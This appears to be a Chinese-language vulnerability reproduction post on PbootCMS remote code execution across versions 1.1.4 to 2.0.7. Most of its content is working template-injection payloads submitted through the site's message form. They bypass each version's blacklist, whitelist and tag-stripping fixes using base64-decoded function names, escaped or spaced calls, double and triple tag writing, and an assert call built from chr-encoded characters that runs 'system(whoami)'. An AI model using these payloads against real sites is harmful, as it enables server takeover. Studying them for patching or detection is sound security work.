pbootcms漏洞复现
pbootcms1.1.4(1.1.5及以下版本)任意代码执行漏洞
这段函数采用了两次正则匹配的过滤方式,第一次正则需要构造形如{pboot:if(payload)}{/pboot:if}
这样的字符串。
第二次正则需要payload中不能出现字母+()这样形式的函数,直接使用形如phpinfo(1)
的payload即可。
而后带入eval函数执行,且$content变量可控
poc:{pboot:if(phpinfo(1))}{/pboot:if}
在网站前台留言处
后台管理开启显示留言。执行成功。
PbootCMS (v1.1.6-v1.1.8)
代码中加入黑名单机制,但是未过滤反引号。
在线留言处插入payload:{pboot:if(var_dump(
whoami))}{/pboot:if}
执行成功
同样base64_decode函数依然可用。所以可插入payload {pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}
!
PbootCMS(v1.1.9-v1.3.2)
改为白名单机制检测,需要绕过function_exists
的检测。
绕过方法如下
插入如下payload: {pboot:if(syste\m(whoami));//)}{/pboot:if}
PbootCMS(v1.3.3-v2.0.2)
禁止了外部数据的获取,白名单处的正则匹配不严谨,导致函数名+空格+()可以实现绕过
payload: {pboot:if(system (whoami))}{/pboot:if}
在线留言处插入payload
PbootCMS(v2.0.3)
增加了外部获取数据过滤部分,并不影响使用system
函数,提交上一个版本payload
,发现pboot:if
被删掉了。
发现在apps/home/controller/IndexController.php
里第270行将pboot:if
替换为空
这里可用双写绕过 {pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}
插入后变成
PbootCMS(v2.0.4-v2.0.7)
双写被过滤,发现多过滤了一次pboot:if,可用三重写绕过。
但正则匹配加强,过滤了system等函数。
但漏掉assert函数,所以构造payload {ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}